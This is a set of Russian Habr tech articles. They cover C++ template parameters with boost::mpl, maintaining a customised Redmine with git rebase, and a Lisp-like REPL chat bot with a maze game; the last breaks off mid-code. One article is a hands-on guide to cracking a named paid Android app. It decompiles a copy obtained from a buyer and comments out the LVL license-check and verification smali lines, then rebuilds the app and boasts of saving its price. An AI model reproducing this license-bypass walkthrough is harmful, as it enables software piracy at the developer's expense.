Думаю многие кто работает с шаблонами, знакомы со следующей ситуацией. У нас есть некий шаблонный класс с кучей шаблонных параметров
```
struct deferred;
struct deadline;
struct disable;
template
struct some\_container
```
Пускай это будет некий интерфейс отложенного выполнения задач (активная очередь). И мы хотим расширить её функционал добавив отложенное выполнение и дедлайны. Но не хотим что бы все это было сразу включено, а хотим что бы можно было собирать нужную конфигурацию под свои нужды. Проблема таких шаблонов (у которых много параметров и почти все уже имею значение по умолчанию) в том, что для того что бы переопределить, скажем, последний параметр нам нужно указать все перед ним стоящие.
```
typedef some_container deadline\_container;
А хотелось бы
typedef some\_container deadline\_container;
```
А ещё лучше, что бы даже порядок задания не имел значение и следующие два, были бы эквивалентны
```
typedef some_container full\_container1;
typedef some\_container full\_container1;
```
Но мы прекрасно понимаем, что как только мы поменяли два параметр у нас получится совершенно не то чего мы ожидали (это вам не tuple где порядок указание не имеет значении)
Думаю многие уже подумали о том, что всего этого можно добиться добавив прослойку между нашим типом и пользователем, для которой написать все возможные специализации. Если у вас только 2 шаблонных параметр то да, если 3 то уже сложно, а если добавится 4, 5 то пиши пропало. Да и как правило добавление нового параметра приводит к переделыванию всех предыдущих специализаций (так как в специализации мы не можем увеличивать число шаблонных параметров, а можем их только уменьшать).
Если вас заинтересовало, прошу под кат, я покажу вам как добиться этого
Но для начала немного дёгтя. Шаблонные типы хороши тем, что пользователь может параметризовать их разными типами, в том числе и своими. Способ который я хочу показать не позволяет специализировать шаблон произвольным типом. Т.е. например вы определи свой тип deadline\_super который сопоставим с типом deadline, тогда вы можете подставлять его в специализацию шаблона
```
typedef some_container
```
Но вы не сможете использовать этот тип в том механизме который позволят специализировать шаблон в произвольном виде. Пожалуй это единственное серьёзное ограничение. Учитывая этот аспект становится понятно, что этот механизм удобно использовать при написании модульных компонент, а не расширяемых или полиморфных.
Вся реализация основывается на такой компоненте boost как [mpl::set](http://www.boost.org/doc/libs/1_55_0b1/libs/mpl/doc/refmanual/set.html). Я не буду много рассказывать о том, что такое [boost::mpl](http://www.boost.org/doc/libs/1_55_0b1/libs/mpl/doc/refmanual.html), скажу лишь что mpl::set позволяет создавать аналогичный std::set контейнер но на этапе компиляции и состоящий из типов.
Первое что нам потребуется это способ проверки списка типов на наличие нужного нам типа, и выдачу некоего дефолтного значения (struct disable) в противном случае
```
template
struct get\_plugin\_impl;
template
struct get\_plugin\_impl
{
typedef disable\_plugin type;
};
template
struct get\_plugin\_impl
{
typedef Plugin type;
};
template
struct get\_plugin
{
typedef typename get\_plugin\_impl::type>::type type;
};
```
Это позволит нам из списка типов узнать был ли задан нужный нам тип и если нет, то использовать дефолтное значение. Как видите данный код зависит только от одного типа который участвует в параметризации конечной структуры (и сообщает что мы не используем это конкретный тип), поэтому при добавлении новых шаблонных типов, этот код не будет меняться.
На следующем шаге, мы определяем все типы которые используются в конечном шаблоне
```
template
struct get\_plugins
{
typedef typename get\_plugin::type deferred;
typedef typename get\_plugin::type deadline;
};
```
И это то место, которое будет меняться при добавлении новых шаблонных параметров. Но это происходит предельно легко, и никаких 2^n комбинаций перечислять не надо.
Дальше мы вводим прослойку между конечным шаблонным типом и пользователем
```
template
struct container
{
typedef boost::mpl::set plugin\_list;
typedef get\_plugins plugs;
typedef typename plugs::deferred deferred;
typedef typename plugs::deadline deadline;
typedef some\_container type;
};
```
Именно она позволяет нам абстрагироваться от числа и порядка указания шаблонных параметров. По сути она объединяет в себе все те (2^n + K) специализаций который нам пришлось бы писать для различного числа заданных шаблонных параметров и их порядка.
Возвращаясь нашему шаблонному типу, я покажу вам как это работает
```
#define static_type(name) \
static const std::string& type() \
{ \
static std::string type_(name); \
return type_; \
} \
struct deferred_plugin
{ static_type("deferred"); };
struct deadline_plugin
{ static_type("deadline"); };
struct disable_plugin
{ static_type("disable"); };
template
struct some\_container
{
static const std::string& type()
{
static std::string type\_("some\_container<" +
Deferred::type() + ", " +
Deadline::type() + ">");
return type\_;
}
};
```
Использование
```
cout << container::type::type() << std::endl;
cout << container::type::type() << std::endl;
cout << container::type::type() << std::endl;
cout << container::type::type() << std::endl;
cout << container::type::type() << std::endl;
```
Выхлоп
> some\_container
>
> some\_container
>
> some\_container
>
> some\_container
>
> some\_container
>
>
Обратите внимание, что порядок специализации сохранен в нужном виде, не зависимо от того в каком порядке были указаны типы при инстанцировании шаблона.
Вот и все, надеюсь кому то это поможет сделать код более красивым и аккуратным.
Исходникик: [git](https://github.com/cupper/arbitrary_initialization_template) | https://habr.com/ru/post/219999/ | null | ru | null |
# Развертывание и сопровождение Redmine, правильный путь
Дисклеймер: это не обычное руководство вида «Как установить Redmine». В нем я не буду погружаться в настройку базы данных или установку веб-сервера. Я также не буду рассказывать о настройке Redmine. [Документация по Redmine](https://redmine.org/projects/redmine/wiki/RedmineInstall) в этом плане является достаточно полной. А для того, что не упоминается в официальной документации, есть общая процедура запуска Rails-приложений, которую можно легко найти в Интернете.
Вместо этого речь пойдет о сопровождении собственной, более или менее кастомизированной версии Redmine, которая может быть развернута с помощью одной команды оболочки, когда это необходимо.
Готовы? Тогда начнём.
Отложите сборки типа «все-в-одном» и готовые к запуску виртуальные машины
-------------------------------------------------------------------------
Установочные пакеты Bitnami или предварительно установленные виртуальные машины хороши для быстрой пробы Redmine, но не подходят для продуктивного использования. Почему? Потому что у них нет обновления. Ой, секундочку, у Bitnami [есть.](https://wiki.bitnami.com/Native_Installers_Quick_Start_Guide#How_to_upgrade_the_full_Stack_migrating_the_data.3f) Правда, оно больше похоже на шутку. «Установите новую версию всего стека в другой каталог и переместите туда свои данные» — это не обновление. Ни слова о настройке, кастомизации и плагинах, которые, вероятно, также нужно сохранить и переустановить. Желаю удачи с таким «обновлением».
Релизы патчей Redmine выходят один или два раза в месяц. Исправления ошибок, связанных с безопасностью, выпускаются по мере необходимости — вы же не хотите пропустить их?
Факт, о котором люди часто забывают: время обновления не всегда зависит от вас. Конечно, можно отложить обновление до выхода следующей младшей версии Redmine — на несколько недель (наверное, даже и на более длительный срок). Но вы же не хотите при обнаружении новых проблем безопасности в Redmine или Rails сидеть с непатченной системой, пока не получится освободить время для установки и настройки нового стека Bitnami и вручную переместить все данные?
---
*Установка — это только верхушка айсберга. Обновление — вот что придется делать регулярно*.
---
Поиск простейшего способа установки определенно перестает быть актуальным, как только принимается решение использовать Redmine в производстве. Простое сопровождение и возможность модернизации — вот на чем нужно заострять внимание, чтобы минимизировать затраты и риски, связанные с использованием собственного Redmine.
Ниже я расскажу, как просто поддерживать Redmine в актуальном состоянии.
Используйте Git
---------------
Даже если вы намереваетесь запустить стоковый Redmine без каких-либо настроек или плагинов, всё равно используйте репозиторий Git для хранения копии Redmine. По крайней мере, наличие специализированного репозитория даст вам место хранения всего необходимого для развертывания (позже это будет рассмотрено подробнее). Рано или поздно вы (или ваши пользователи) *захотите* установить какой-нибудь плагин или настраиваемую тему, и для этого уже будет готова инфраструктура. Эксперименты с изменениями и тестирование плагинов и тем в локальных ветвях без нарушений в производственном коде становятся очень простыми при наличии собственного репозитория git c Redmine. Так что сейчас мы начнем с настройки репозитория.
Хотя основной репозиторий Redmine является экземпляром Subversion, на [Github](https://github.com/redmine/redmine/) есть полуофициальный репозиторий, который поддерживается основным коммиттером и постоянно обновляется. Используйте его для настройки собственного репозитория:
***Настройка локального клона Redmine***
```
$ git clone git@github.com:redmine/redmine.git
$ cd redmine
$ git remote rename origin upstream
$ git remote add origin git@yourserver.com:redmine.git
$ git checkout -b redmine/3.2-stable upstream/3.2-stable
$ git checkout -b local/3.2-stable
$ git push --set-upstream origin local/3.2-stable
```
Измените номер версии `3.2-stable` на номер последней стабильной версии Redmine.
Удаленный репозиторий `git@yourserver.com` должен быть частным, так как в нем будет храниться конфигурация развертывания (а возможно, и прочая информация, публиковать которую не стоит). Поскольку описанный ниже процесс развертывания будет извлекать из этого репозитория код, то репозиторий должен быть доступен во время развертываний, поэтому не размещайте его на настольных компьютерах. Идеальной будет ситуация, когда репозиторий также будет доступен с веб-сервера, на котором происходит развертывание. Но это при необходимости можно обойти.
Теперь у вас есть две локальные ветви:
`redmine/3.2-stable`, который отслеживает Redmine 3.2 без дополнительного функционала из репозитория github/redmine, представленная вышеуказанным удаленным *восходящим* репозиторием,
`local/3.2-stable`, куда будут помещены все настройки развертывания, кастомизации, темы и плагины.
Пропатчите обновления версий
----------------------------
Redmine использует следующую схему нумерации версий: xyz Major/Minor/Patch. Каждая младшая версия имеет собственную *стабильную ветку*, в которой исправления и патчи безопасности будут применяться с течением времени (до тех пор, пока эта версия все еще поддерживается). В нашем случае это ветвь `3.2-stable`.
Время от времени эта восходящая ветвь будет получать некоторые новые коммиты. Ваша задача — включить новые коммиты в локальную ветвь `local/3.2-stable` для развертывания.
Хотя возможно и просто регулярно дополнять восходящую ветвь, я предлагаю использовать `git rebase` для поддержки собственного набора изменений *поверх* стокового кода Redmine:
***Перебазирование локальных изменений поверх «голого» Redmine:***
```
$ git checkout redmine/3.2-stable
$ git pull # new upstream commits coming in
$ git checkout local/3.2-stable
$ git rebase redmine/3.2-stable
```
Команда rebase:
* Отменит все локальные изменения в `local/3.2-stable`.
* Обновит `local/3.2-stable`, чтобы отразить изменения, произошедшие в `redmine/3.2-stable`.
* Повторно применит все локальные изменения поверх «голой» версии.
Итогом будет являться *чистая история*, в которой ваши (локальные) коммиты всегда находятся поверх последних (восходящих) коммитов Redmine.
Младшие и старшие обновления
----------------------------
Теперь, когда есть новая стабильная ветвь (скажем, `3.3-stable`), делайте то же самое — перебазируйте ваши изменения поверх неё. Команды git будут немного отличаться из-за изменения восходящей ветви:
***Перенос локальных изменений в новую стабильную ветвь***
```
$ git fetch upstream
$ git checkout -b redmine/3.3-stable upstream/3.3-stable
$ git checkout -b local/3.3-stable local/3.2-stable
$ git rebase --onto redmine/3.3-stable redmine/3.2-stable local/3.3-stable
```
Эти команды вначале создают две новые локальные ветви для версии 3.3: одну из восходящей, а другую — из локальной ветви 3.2. Затем они перебазируют локальные изменения поверх `redmine/3.3-stable`. Локальные изменения здесь — это разность между `redmine/3.2-stable` и `local/3.3-stable` (что по-прежнему является `redmine/3.2-stable`). Теперь `local/3.3-stable` содержит Redmine 3.3 плюс любые локальные изменения.
Для новой старшей версии требуется сделать то же самое.
Бог ты мой, у меня конфликты!
-----------------------------
Рано или поздно (вероятно, уже во время первого обновления до новой младшей версии) вы столкнетесь с конфликтами слияния. Во время ребазирования Git применяет коммиты один за другим и останавливается каждый раз, когда применение коммита происходит с ошибками. В этом случае команда `git status` покажет проблемные файлы.
Проверьте, какой из коммитов дал сбой, узнайте, для чего он предназначался (хорошо помогут осмысленные сообщения коммитов), исправьте файлы, командой `git add` добавьте каждый исправленный файл, когда закончите. Если конфликты были устранены, можно просмотреть изменения, которые будут зафиксированы, с помощью команды `git diff --cached`. Как только вы сочтете результат удовлетворительным, можно продолжить ребазирование с помощью команды `git rebase --continue`.
Если вы неожиданно получили кучу конфликтов, а времени на решение этой проблемы нет, можно просто прервать текущее ребазирование с помощью параметра `--abort`, который восстановит рабочую копию до исходного состояния.
Что дальше?
-----------
Теперь, когда рабочий процесс Git настроен должным образом, пришло время автоматизировать развертывание, о котором я расскажу во [второй части](https://jkraemer.net/2016/04/deploying-redmine-with-capistrano) этого руководства (примечание: перевод второй части будет доступен в течение нескольких дней).
Ссылки
------
1. [Deploy and maintain Redmine the right way](https://jkraemer.net/2016/03/deploy-and-maintain-redmine-the-right-way)
2. [Развертывание Redmine с помощью Capistrano (вторая часть)](https://habrahabr.ru/company/southbridge/blog/330210/). | https://habr.com/ru/post/329872/ | null | ru | null |
# Реверс-инжиниринг android приложений
В этой статье я постараюсь рассказать про реверс-инжиниринг приложений для android. Этот процесс несколько отличается от оного для win-приложений: здесь нет отладчика и нет ассемблера, вместо них выступают LogCat и байт-код. Как вы уже догадались, мы будем исследовать приложение с целью его взлома, или, проще говоря, «крякать».
БРИФИНГ
-------
В качестве подопытного кролика я выбрал программу «Multi Mount SD-Card». Ее суть заключается в монтировании flash-накопителя девайса с одновременным доступом к нему системы и пользователя. Дело в том, что по умолчанию android не имеет доступа к смонтированному в данный момент накопителю. Для пользователей Eclair это не так критично, но вот пользователи Froyo+ писают кипятком не радуются, когда установленные на карту программы вылетают при ее монтировании. Собственно для решения этой проблемы была и написана эта программа. Ах да, программе нужны **root** права.
Для начала нам нужен дистрибутив программы, чтобы было что ломать. Но где же его взять? Ведь для этого надо ее купить. Ну, или выпросить у уже купившего человека. Таким человеком стал [creage](http://4pda.ru/forum/index.php?showuser=587074) с форума [4pda](http://4pda.ru/forum/index.php?act=idx), который любезно расшарил купленный apk.
Итак, [у нас есть дистрибутив](http://db.tt/g3feJvG), мы уже установили программу, запускаем… И тут бац! Видим [окошко](https://dl.dropbox.com/s/aumkv7y0dh30230/main.png) с предложением купить лицензию. Отсюда вытекает, что проверка идет через интернет, пробуем отключить — не помогает. Покупателю приложения не дают никаких ключей и логинов, что говорит нам о привязке к чему-то вроде hardware\_id или google-аккаунта. Следовательно у нас есть несколько вариантов взлома: либо захардкодить в программу заведомо правильную проверяемую информацию, либо вырезать из кода все участки, проверяющие валидность лицензии. Я выбрал второй вариант, ибо он мне больше нравится.
Инструментарий
--------------
Для работы нам нужны инструменты. Я было хотел рассказывать про них по ходу дела, но все-таки передумал и решил написать про все заранее. Собственно, сегодня нам понадобится следующий список инструментов:
* [Apk Manager](http://forum.xda-developers.com/showthread.php?t=695701)
* [dex2jar](http://code.google.com/p/dex2jar/)
* [jd-gui](http://java.decompiler.free.fr/)
Введение
--------
Прежде чем приступать, я немного объясню структуру android приложений. Каждое приложение есть файл с расширением apk, упакованный zip’ом. В нем содержатся ресурсы приложения, AndroidManifest.xml и classes.dex. Что же из себя представляет последний? Это байт-код программы, скомпилированный специально для виртуальной машины dalvik. Получить из него чистый исходный код на java нельзя, но можно получить [dalvik opcodes](http://pallergabor.uw.hu/androidblog/dalvik_opcodes.html) — набор команд для виртуально машины, грубо говоря, это местный ассемблер. А еще можно превратить dex файл в jar, после чего декомпилировать его и получить более-менее читаемый код на java. Чем мы и будем сейчас заниматься.
Декомпиляция
------------
Все манипуляции с apk мы будем проводить с помощтю утилиты Apk Manger. Это эдакий единый фронт-енд для набора библиотек, работающих с apk. Напомню, у вас должны быть установлены драйвера для девайса и включен режим [USB-debugging](http://www.groovypost.com/howto/mobile/how-to-enable-usb-debugging-android-phone/). Приступим.
1. Копируем multimount.apk в папку apk\_manager\place-apk-here-for-modding и запускаем Script.bat. Если все хорошо, то появится [консоль](https://dl.dropbox.com/s/dle43d3rm6efypb/apk_manager.png) с зелеными надписями.
2. Необходимо декомпилировать apk. Выбираем одноименный пункт 9. Консоль после этого не закрываем.
3. Открываем multimount.apk архиватором и копируем файл classes.dex в папку dex2jar, после чего перетаскиваем его на dex2jar.bat. В Total Commander перетаскивание не работает.
4. Появившийся classes.dex.dex2jar.jar открываем с помощью jd-gui. Окно пока не закрываем, оно понадобится позже.
Начало анализа
--------------
Для получения начальной информации о приложении посмотрим на его манифест. Из него можно понять, что главным активити являются настройки. Значит код, предлагающий купить приложение, находится где-то там. Еще можно заметить странную строчку в самом низу:
> `1. android:name="com.android.vending.CHECK\_LICENSE" **/>**`
Что же это? Как подсказывает гугл, эта строчка намекает на то, что в приложении используется [LVL](http://developer.android.com/guide/publishing/licensing.html), то есть менеджер лицензий android. Ну что ж, это даже хорошо, ведь у нас есть документация. Почитав которую, пожно понять, что этот LVL не только управляет лицензиями, но и подвергает код обфускации, что существенно усложнит нам работу.
Ну да ладно, приступим непосредственно к анализу кода. Переключаемся на jd-gui, разворачиваем дерево, и видим три пространства имен: первое — что-то связано с рекламой, второе — набор классов LVL, третье — то, что нам надо.
Заходим в него и видим последствия обфускации. Открываем MultiMountSDCardConfigure, бегло просматриваем код. В глаза сразу бросается длинная строчка с каким-то хэшем. Это base64 public key. А вокруг него находятся и остальные строчки, проверяющие лицензию. Их нам необходимо выпилить.
> `1. com.android.vending.licensing.h localh = **new** com.android.vending.licensing.h(arrayOfByte, str4, str3);
> 2. v localv = **new** v(**this**, localh);
> 3. m localm1 = **new** m(**this**, localv, "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAg1...");
> 4. f = localm1;
> 5. m localm2 = f;
> 6. j localj = e;
> 7. localm2.a(localj);`
Открываем apk\_manager\projects\multimount.apk\smali\com\rafoid\multimountsdcard\widget\MultiMountSDCardConfigure.smali и видим байт-код. Прежде чем читать дальше, советую сначала просмотреть [список](http://pallergabor.uw.hu/androidblog/dalvik_opcodes.html) команд. Нам необходимо найти те самые строчки и закоментить их. Вот они:
> `1. ...
> 2. #iput-object v1, p0, Lcom/rafoid/multimountsdcard/widget/MultiMountSDCardConfigure;->e:Lcom/android/vending/licensing/j;
> 3.
> 4. #new-instance v1, Lcom/android/vending/licensing/m;
> 5.
> 6. #new-instance v2, Lcom/android/vending/licensing/v;
> 7.
> 8. #new-instance v3, Lcom/android/vending/licensing/h;
> 9.
> 10. #sget-object v4, Lcom/rafoid/multimountsdcard/widget/MultiMountSDCardConfigure;->d:[B
> 11.
> 12. #invoke-virtual {p0}, Lcom/rafoid/multimountsdcard/widget/MultiMountSDCardConfigure;->getPackageName()Ljava/lang/String;
> 13.
> 14. #move-result-object v5
> 15.
> 16. #invoke-direct {v3, v4, v5, v0}, Lcom/android/vending/licensing/h;->([BLjava/lang/String;Ljava/lang/String;)V
> 17.
> 18. #invoke-direct {v2, p0, v3}, Lcom/android/vending/licensing/v;->(Landroid/content/Context;Lcom/android/vending/licensing/n;)V
> 19.
> 20. #const-string v0, "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCg..."
> 21.
> 22. #invoke-direct {v1, p0, v2, v0}, Lcom/android/vending/licensing/m;->(Landroid/content/Context;Lcom/android/vending/licensing/k;Ljava/lang/String;)V
> 23.
> 24. #iput-object v1, p0, Lcom/rafoid/multimountsdcard/widget/MultiMountSDCardConfigure;->f:Lcom/android/vending/licensing/m;
> 25.
> 26. #iget-object v0, p0, Lcom/rafoid/multimountsdcard/widget/MultiMountSDCardConfigure;->f:Lcom/android/vending/licensing/m;
> 27.
> 28. #iget-object v1, p0, Lcom/rafoid/multimountsdcard/widget/MultiMountSDCardConfigure;->e:Lcom/android/vending/licensing/j;
> 29.
> 30. #invoke-virtual {v0, v1}, Lcom/android/vending/licensing/m;->a(Lcom/android/vending/licensing/j;)V
> 31. ...`
Закоменчиваем, сохраняем. Вроде как, все, можно пользоваться. Осталось только скомпилить и установить.
Компиляция и установка
----------------------
Для этого будем использовать уже знакомый нам Apk Manager.
1. Если вы ещё не закрыли окно консоли, переключаемся на него и выбираем пункт 14. Скрипт сам скомпилит, подпишет и установит apk на девайс.
2. Запускаем приложение и видим, что теперь нам не предлагают ничего покупать, но окошко с процессом проверки висит и не закрывается.
Опять анализ
------------
Теперь нам необходимо обнаружить и удалить код, показывающий ненужный нам диалог. Переключаемся на jd-gui и находим чуть выше следующие строчки:
> `1. rogressDialog localProgressDialog = ProgressDialog.show(this, str1, str2, 1, 0);
> 2. b = localProgressDialog;`
Теперь надо найти их в MultiMountSDCardConfigure.smali. Вот они:
> `1. ...
> 2. #invoke-static {p0, v0, v1, v6, v7}, Landroid/app/ProgressDialog;->show(Landroid/content/Context;Ljava/lang/CharSequence;Ljava/lang/CharSequence;ZZ)Landroid/app/ProgressDialog;
> 3.
> 4. #move-result-object v0
> 5.
> 6. #iput-object v0, p0, Lcom/rafoid/multimountsdcard/widget/MultiMountSDCardConfigure;->b:Landroid/app/ProgressDialog;
> 7. ...`
Закоменчиваем, сохраняем, компилим, устанавливаем, запускаем. Ура! Все работает. Но после непродолжительного тестирования мы понимаем что работает не совсем все, а именно функция авто-монтирования. Переключаемся на jd-gui, открываем MultiMountSDCardWidget$UpdateService и видим следующий кривой код:
> `1.
> 2. if (MultiMountSDCardWidget.b.booleanValue());
> 3. int j;
> 4. for (int i = 0; ; j = 1)
> 5. {
> 6. Boolean localBoolean = Boolean.valueOf(i);
> 7. RemoteViews localRemoteViews = MultiMountSDCardWidget.a(this, localBoolean);
> 8. Class localClass = MultiMountSDCardWidget.a;
> 9. ComponentName localComponentName = new ComponentName(this, localClass);
> 10. AppWidgetManager.getInstance(this).updateAppWidget(localComponentName, localRemoteViews);
> 11. return;
> 12. }
> 13.`
Именно этот сервис отвечает за авто-монтирование. В самом начале мы видим какую-то проверку, в результате которой выполняется это самое монтирование. Код проверяет переменную b из главного активити, ту самую переменную, объявление которой мы закоментили, удаляя диалог. Так же мы поступим и с этой проверкой — закоментим ее к черту.
На сей раз открываем MultiMountSDCardWidget$UpdateService.smali и закоменчиваем следующие строчки:
> `1. ...
> 2. .method public onStart(Landroid/content/Intent;I)V
> 3. .locals 3
> 4.
> 5. #sget-object v0, Lcom/rafoid/multimountsdcard/widget/MultiMountSDCardWidget;->b:Ljava/lang/Boolean;
> 6.
> 7. #invoke-virtual {v0}, Ljava/lang/Boolean;->booleanValue()Z
> 8.
> 9. #move-result v0
> 10.
> 11. #if-eqz v0, :cond\_0
> 12.
> 13. const/4 v0, 0x0
> 14.
> 15. :goto\_0
> 16. invoke-static {v0}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
> 17.
> 18. move-result-object v0
> 19.
> 20. invoke-static {p0, v0}, Lcom/rafoid/multimountsdcard/widget/MultiMountSDCardWidget;->a(Landroid/content/Context;Ljava/lang/Boolean;)Landroid/widget/RemoteViews;
> 21.
> 22. move-result-object v0
> 23.
> 24. new-instance v1, Landroid/content/ComponentName;
> 25.
> 26. sget-object v2, Lcom/rafoid/multimountsdcard/widget/MultiMountSDCardWidget;->a:Ljava/lang/Class;
> 27.
> 28. invoke-direct {v1, p0, v2}, Landroid/content/ComponentName;->(Landroid/content/Context;Ljava/lang/Class;)V
> 29.
> 30. invoke-static {p0}, Landroid/appwidget/AppWidgetManager;->getInstance(Landroid/content/Context;)Landroid/appwidget/AppWidgetManager;
> 31.
> 32. move-result-object v2
> 33.
> 34. invoke-virtual {v2, v1, v0}, Landroid/appwidget/AppWidgetManager;->updateAppWidget(Landroid/content/ComponentName;Landroid/widget/RemoteViews;)V
> 35.
> 36. return-void
> 37.
> 38. #:cond\_0
> 39.
> 40. const/4 v0, 0x1
> 41.
> 42. goto :goto\_0
> 43. .end method
> 44. ...`
Запускаем и радуемся, что сэкономили целых 30 рублей на покупке этой полезнейшей программы.
Примечания
----------
Процесс описан целиком для Windows, но легко может быть повторен и на Linux, так как все необходимые библиотеки кроссплатформенны.
Уже после написания статьи я наткнулся на на вот [этот](http://blog.in16.ru/index.php/2010/08/26/lvl-cracking/) способ взлома, но, насколько я понимаю, он актуален для ранних версий LVL.
*Вся информация представлена исключительно в ознакомительных целях. А так же для разработчиков, с целью улучшения программной защиты.* | https://habr.com/ru/post/111513/ | null | ru | null |
# Liscript — REPL боты онлайн
Некоторое время назад, вдохновившись прочтением SICP, я написал пару своих реализаций интерпретаторов лиспоподобного языка со строгой семантикой, добавил десктопный GUI, консольный интерфейс, написал на нем Тетрис и много чего еще, и опубликовал пару статей на Хабр об этом.
Недавно я добавил возможность широкой аудитории познакомиться с данным языком — написал REPL-ботов для следующих мессенжеров: IRC, Telegram, Slack, Gitter. Боты располагаются на специально созданных для них каналах, но в большинстве случаев их можно добавлять/приглашать на другие каналы и вести с ними личную переписку. Такой формат позволяет проводить текстовые онлайн-доклады на тему основ функционального программирования, сопровождая их демонстрацией интерпретатора в реальном времени.
Конечно, графические окна с анимацией можно создавать только в десктопном варианте приложения. Поэтому для большего раскрытия возможностей языка и РЕПЛа я написал текстовую реализацию игры Лабиринт, в которую могут играть с ботом любое количество человек. Подробности и немного лирики под катом.
### Описание и правила игры
Когда я был школьником (а это были 80-е годы прошлого века), компьютеры и интернет были, мягко говоря, не так широко распространены и доступны, как сейчас. Поэтому мы с друзьми-одноклассниками играли в нормальные детские игры ручкой на листе бумажки — морской бой, точки и т.п. В числе прочих была и такая игра, которую мы называли Лабиринт.
Правила таковы: выбирается ведущий, который загадывает карту и рисует ее у себя на бумажке, никому не показывая. Карта представляет собой прямоугольную сетку n на m клеток, клетка может быть пустой, в клетке может быть яма — объект типа телепорта — при попадании в одну клетку ямы игрок перемещается в другую а ведущий называет игроку номер ямы, на карте есть реки — они текут только в соседние по сторонам клетки (по диагонали нельзя), при попадании в реку игрок переносится в конец данной реки а ведущий сообщает игроку факт заплыва *без указания номера реки*. При попытке пойти в сторону стены ведущий говорит об этом. Параметры карты, количество рек/ям и длина рек всем игрокам известны. В начале игры каждый игрок сообщает ведущему свои желаемые стартовые координаты, ведущий отвечает судьбу персонажа (пустая клетка, река, яма-1) и далее игроки делают свои ходы по очереди, произнося один из 4 возможных вариантов: влево/вправо/вверх/вниз, а ведущий двигает соответствующие игрокам фишки по карте с учетом перемещений по рекам и телепортаций по ямам. Можно дополнять правила внутренними стенами, которые можно взрывать гранатами, пополняемыми в специальных клетках-арсеналах, вводить в игру миссии поиска клада и выхода, разнообразные новые объекты — типа зеркальной клетки, при попадании на которую ведущий объявляет ее как пустую клетку, но при ходе *с которой* ведущий молча перемещает игрока в сторону противоположную ходу игрока, и т.п.
Но даже минимальные базовые правила игры создают достаточный интерес и миссию — узнать карту! Это не так просто как кажется на первый взгляд. Можно слушать ответы ведущего себе и другим игрокам, накапливая информацию о кусочках карты, пытаясь склеить ее в единое целое. Но любая ошибка на этом пути чревата тем, что карта «не собирается», а в каком куске ошибка уже выяснить нельзя — и приходится перечеркивать всю имеющуюся информацию и начинать накапливать ее заново. Но когда удается выяснить карту, появляется (по крайней мере у меня) качественно новое ощущение — вместо случайных тыканий по стенам, заплывов по рекам и полетов по ямам, когда реальность в виде ответа ведущего постоянно разбивает твои иллюзии и прогнозы в пух и прах, и ты уже начинаешь подозревать его в ошибках, возникает ощущение полного просветления, гармонии и постижения дао — можно делать ходы осмысленно, зная их последствия, строить на этом тактику и стратегию игры (при наличии миссии), и вообще испытывать несравнимое удовольствие от соответствий реальности твоим представлениям о ней :)
В общем, настоятельно рекомендую попробовать — для примера, мы со старше-средним 9-летним сыном любим играть в нее на прогулках, безо всяких ручек и бумаги, просто по памяти — уровень поля 3\*3, одной реки в 3 клетки и двух ям (остаются 2 пустые клетки) он уже решает с легкостью в уме, а 4\*4 ему еще тяжело. Мы в старших классах комфортно чувствовали себя на поле 6\*6 с адекватным набором объектов, а поля 8\*8 не осиливали проходить до конца.
### Немного про ботов
В конце статьи есть ссылка на главную страницу приложения, запускающего и обслуживающего ботов. У нее весьма спартанский дизайн, т.к. я никогда не занимался вэб-разработкой, тем более фронтендом. Но от нее не требуется многого — достаточно краткого описания, нескольких ссылок, и самое главное — запуска приложения, которое засыпает, если полчаса не заходить на эту страницу — так heroku, где опубликовано приложение, экономит ограниченный набор часов работы приложений на бесплатном тарифе.
Для каждой комнаты/личной переписки создается отдельная сессия бота со своим пространством имен, которое может изменяться в процессе запросов/ответов — стандартный формат REPL (read-eval-print loop). При засыпании приложения вся пользовательская информация стирается, и при пробуждении заново создаются сессии и в каждую загружается стандартная библиотека. Внутри каждой комнаты пространство глобальное имен общее для всех пользователей, но команда каждого пользователя запускается в отдельном потоке. Ограничения на время выполнения команд нет, но пользователь не может запустить новую команду-поток до завершения предыдущего. Для принудительного прерывания текущего потока служит команда бота **!**. Это позволяет все участникам канала иметь доступ к общему мутабельному состоянию, и в то же время запускать циклические процессы внутри лямбд со своим локальным состоянием.
Отдельно хочу отметить одну проблему, возникшую при реализации чат-бот интерфейса. Если при вычислении по команде print выводить в чат результат немедленно, то возможно написание спам-бомб с бесконечно зацикленным выводом, захламляющем общий чат. Поэтому было принято решение печатать «в стол» — в отдельной переменной накапливать все результаты печати, и в конце вычислений выводить их вместе с результатом вычисления. Но тогда пропадает возможность запустить интерактивный циклический процесс, при котором бот не заканчивая вычисление пишет в чат промежуточный вывод, ожидая ввода от пользователя в блокирующем режиме. В результате я придумал следующий вариант, который меня стопроцентно устраивает по всем параметрам — функция блокирующего вычисление ввода от пользователя read тоже теперь умеет печатать — но в отличие от print, она печатает не «в стол», а сразу в окно чата, обеспечивая интерактивность взаимодействия. А спам-бомба не работает, потому что после печати read ждет ввода пользователя в блокирующем режиме, поэтому даже при зацикливании бесконечных портянок текста без подтверждения пользователя не будет.
### Про реализацию игры
Весь код игры состоит из двух функций — генерации игрового поля, и начала игры на сгенерированном поле. Текст функций довольно объемен, и например в Telegram у меня не получилось загрузить его одним сообщением — сообщение разбилось на 2, бот реагировал на них по отдельности, разумеется синтаксическая и семантическая целостность кода потерялась. Но выход прост — загружайте каждую функцию отдельным сообщением :)
Разумеется, это не касается IRC, где сильные ограничения (максимум 512 символов и отсутствие многострочных сообщений) не позволяют загружать боту сколь-нибудь нетривиальные куски кода. Но в остальных трех перечисленных мессенжерах все работает — и вы можете видеть результаты в стартовой картинке статьи. Собственно, после загрузки функций в REPL, начало игры может выглядеть так:
```
join (new-field 5 5 3 4 2) 2 3
```
Это значит — запустить игру на недоступном никому больше поле 5\*5 с 3 реками длиной 4, 2 ямами и стартовой клеткой 2 строка/3 столбец. Или так:
```
def common-field (new-field 5 5 3 4 2)
```
с последующим вызовом
```
join common-field 2 3
```
любым количеством пользователей, каждым со своими стартовыми координатами — все будут ходить по одному общему полю. Разумеется, можно создать в глобальном пространстве имен еще одно поле с другим именем переменной, и подключаться к нему.
Описание команд управления выводится в чат при начале игры. Тексты функций приведены ниже:
**Код функции генерации нового поля**
```
; генератор поля - передаем кол-во строк, столбцов, рек, длину рек и кол-во ям ;
(defn new-field (max-r max-c rivers-count river-length holes-count)
; генератор случайных чисел в заданном диапазоне 0 - (n-1) ;
(def random-int-object (java (class "java.util.Random") "new"))
